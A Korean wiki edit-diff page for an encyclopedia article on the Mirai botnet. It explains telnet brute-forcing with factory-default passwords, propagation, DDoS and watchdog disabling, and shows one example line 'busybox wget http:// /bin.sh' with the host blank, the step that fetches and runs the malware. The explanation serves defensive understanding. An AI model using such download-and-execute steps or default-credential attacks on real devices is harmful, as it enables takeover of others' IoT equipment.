미라이 봇넷 편집하기
편집을 되돌릴 수 있습니다.
이 편집을 되돌리려면 아래의 바뀐 내용을 확인한 후 저장해주세요.
| 최신판 | 당신의 편집 | ||
| 52번째 줄: | 52번째 줄: | ||
loT 장비(셋탑박스, 공유기 등) 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용하고 있다. [[리눅스]] 운영체제를 기반으로 제작된 소스코드는 [[크로스 컴파일]]을 통해 다양한 CPU환경에서 실행가능하도록 만들어진다. 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다. | loT 장비(셋탑박스, 공유기 등) 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용하고 있다. [[리눅스]] 운영체제를 기반으로 제작된 소스코드는 [[크로스 컴파일]]을 통해 다양한 CPU환경에서 실행가능하도록 만들어진다. 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다. | ||
| − | * [[크로스 컴파일]]: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위 | + | * [[크로스 컴파일]] : 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위 |
===동작 원리=== | ===동작 원리=== | ||
| 60번째 줄: | 60번째 줄: | ||
미라이는 최초 실행 시 네트워크 스캔기능을 수행하는데 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 공장 출하시 설정된 아이디와 패스워드 값을 미리 사전에 등록하여 설정을 변경하지 않은 IoT 장비에 60여개의 아이디와 패스워드를 차례대로 시도한다. | 미라이는 최초 실행 시 네트워크 스캔기능을 수행하는데 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 공장 출하시 설정된 아이디와 패스워드 값을 미리 사전에 등록하여 설정을 변경하지 않은 IoT 장비에 60여개의 아이디와 패스워드를 차례대로 시도한다. | ||
| − | * [[사전식 전시공격]]: 아이디와 패스워드를 미리 구성해놓고 구성한 값을 무작위로 대비하는 공격방식 | + | * [[사전식 전시공격]] : 아이디와 패스워드를 미리 구성해놓고 구성한 값을 무작위로 대비하는 공격방식 |
===전파 기능=== | ===전파 기능=== | ||
IoT 기기에 접속을 성공하면 미라이 악성코드를 주입하고 실행하는 과정을 반복해 감염 장비를 확보해 거대한 봇넷을 형성한다. 악성코드를 주입할 때 IoT 장비에서 제공하는 명령어가 부족하여 다운로드에 실패할 수 있는데, 이런 경우에는 다양한 명령어를 보유한 새로운 [[Busybox]](리눅스 기반 명령어 모음도구) 를 주입하고 Busybox의 **wget명령어를 이용하여 미라이 악성코드를 다운로드 받아 실행함으로써 전파를 완료한다. | IoT 기기에 접속을 성공하면 미라이 악성코드를 주입하고 실행하는 과정을 반복해 감염 장비를 확보해 거대한 봇넷을 형성한다. 악성코드를 주입할 때 IoT 장비에서 제공하는 명령어가 부족하여 다운로드에 실패할 수 있는데, 이런 경우에는 다양한 명령어를 보유한 새로운 [[Busybox]](리눅스 기반 명령어 모음도구) 를 주입하고 Busybox의 **wget명령어를 이용하여 미라이 악성코드를 다운로드 받아 실행함으로써 전파를 완료한다. | ||
| − | *[[Busybox]]: 유닉스, 리눅스 기반의 명령어를 구성한 명령어 모음도구 | + | *[[Busybox]] : 유닉스, 리눅스 기반의 명령어를 구성한 명령어 모음도구 |
| − | *[[** wget]]: 웹 페이지에 존재하는 파일을 다운로드하는 명령어 | + | *[[** wget]] : 웹 페이지에 존재하는 파일을 다운로드하는 명령어 |
| − | wget명령어 사용예제: busybox wget http:// /bin.sh | + | wget명령어 사용예제 : busybox wget http:// /bin.sh |
===디도스 공격=== | ===디도스 공격=== | ||
| 77번째 줄: | 77번째 줄: | ||
IoT 장비가 동작 도중에 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능([[Watchdog]])이 존재한다. 이 기능이 필요한 이유는 미라이 악성코드는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지된다. 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함하고 있다. <ref> 한국인터넷진흥원 사이버침해대응본부 침해사고분석 분석2팀 〈[https://www.krcert.or.kr/filedownload.do?attach_file_seq=974&attach_file_id=EpF974.pdf 2016년 Mirai 악성코드 동향]〉, 《한국인터넷진흥원(KISA)》, 2016.12 </ref> | IoT 장비가 동작 도중에 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능([[Watchdog]])이 존재한다. 이 기능이 필요한 이유는 미라이 악성코드는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지된다. 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함하고 있다. <ref> 한국인터넷진흥원 사이버침해대응본부 침해사고분석 분석2팀 〈[https://www.krcert.or.kr/filedownload.do?attach_file_seq=974&attach_file_id=EpF974.pdf 2016년 Mirai 악성코드 동향]〉, 《한국인터넷진흥원(KISA)》, 2016.12 </ref> | ||
| − | * [[watchdog]]: 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스 | + | * [[watchdog]] : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스 |
==예방 및 대응== | ==예방 및 대응== | ||
